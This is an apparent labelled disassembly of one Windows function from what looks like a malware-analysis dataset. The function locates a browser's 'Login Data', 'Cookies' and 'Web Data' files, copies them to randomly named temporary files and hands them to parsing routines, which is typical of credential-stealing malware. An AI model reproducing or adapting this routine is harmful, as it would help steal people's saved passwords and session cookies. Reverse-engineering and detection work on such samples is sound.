Function at 0x405460
Capabilities:
Copy file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfcd6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xed4
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x2ac]
mov ebx, ecx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x2ac]
push esi
push eax
push str._wS_wSLogin_Data
lea eax, [ebp - 0x4b4]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x14
lea eax, [ebp - 0x2ac]
push esi
push eax
push str._wS_wSCookies
lea eax, [ebp - 0x6bc]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x14
lea eax, [ebp - 0x2ac]
push esi
push eax
push str._wS_wSWeb_Data
lea eax, [ebp - 0x8c4]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x14
cmp word [ebp - 0x4b4], 0
je 0x4059f5
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea eax, [ebp - 0x4b4]
push 0
push 0
push 3
push 0
push 0
push 0x80
push eax
call edi
cmp eax, 0xffffffff
je 0x4059f5
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
cmp word [ebp - 0x6bc], 0
je 0x4059f5
push 0
push 0
push 3
push 0
push 0
push 0x80
lea eax, [ebp - 0x6bc]
push eax
call edi
cmp eax, 0xffffffff
je 0x4059f5
push eax
call esi
cmp word [ebp - 0x8c4], 0
je 0x4059f5
push 0
push 0
push 3
push 0
push 0
push 0x80
lea eax, [ebp - 0x8c4]
push eax
call edi
cmp eax, 0xffffffff
je 0x4059f5
push eax
call esi
cmp byte [0x4da960], 0
je 0x4055c1
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0xa0]
mov edi, 5
idiv edi
add edx, 4
call fcn.0040ef20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
mov eax, dword [ebp - 0x90]
cmovae ecx, dword [ebp - 0xa0]
add eax, ecx
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0xa0]
cmovae ecx, dword [ebp - 0xa0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x88]
call fcn.00405df0
mov byte [ebp - 4], 1
cmp byte [0x4da960], 0
je 0x405648
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x40]
idiv edi
add edx, 4
call fcn.0040ef20
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [ebp - 0x30]
cmovae ecx, dword [ebp - 0x40]
add eax, ecx
cmp dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x40]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x70]
call fcn.00405df0
mov byte [ebp - 4], 3
cmp byte [0x4da960], 0
je 0x4056ac
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
lea ecx, [ebp - 0x28]
idiv edi
add edx, 4
call fcn.0040ef20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
add eax, ecx
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x58]
call fcn.00405df0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x88]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xcd4]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x70]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xedc]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea ecx, [ebp - 0x58]
cmp dword [ebp - 0x44], 8
mov eax, 0x4dc690
cmovae ecx, dword [ebp - 0x58]
cmp dword [0x4dc6a4], 8
push ecx
cmovae eax, dword [0x4dc690]
push eax
push str.Temp
call fcn.004a9a8d
add esp, 4
push eax
push str._wS_wS_wS.tmp
lea eax, [ebp - 0xacc]
push 0x104
push eax
call fcn.00405dd0
add esp, 0x18
lea eax, [ebp - 0xcd4]
push 0
push eax
lea eax, [ebp - 0x4b4]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push eax
call esi
push 0
lea eax, [ebp - 0xedc]
push eax
lea eax, [ebp - 0x6bc]
push eax
call esi
push 0
lea eax, [ebp - 0xacc]
push eax
lea eax, [ebp - 0x8c4]
push eax
call esi
mov edx, ebx
lea ecx, [ebp - 0xcd4]
call fcn.00403600
mov edx, ebx
lea ecx, [ebp - 0xedc]
call fcn.00403ac0
lea ecx, [ebp - 0xacc]
call fcn.004032f0
lea ecx, [ebp - 0xacc]
call fcn.004049b0
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x40586e
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405864
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp edx, 0x10
jb 0x4058b6
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4058ac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 8
jb 0x405902
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4058f8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
cmp edx, 0x10
jb 0x40594a
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405940
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 8
jb 0x405995
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40598b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x8c]
xor eax, eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 7
mov word [ebp - 0x88], ax
cmp edx, 0x10
jb 0x4059e2
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4059d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a08
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
int3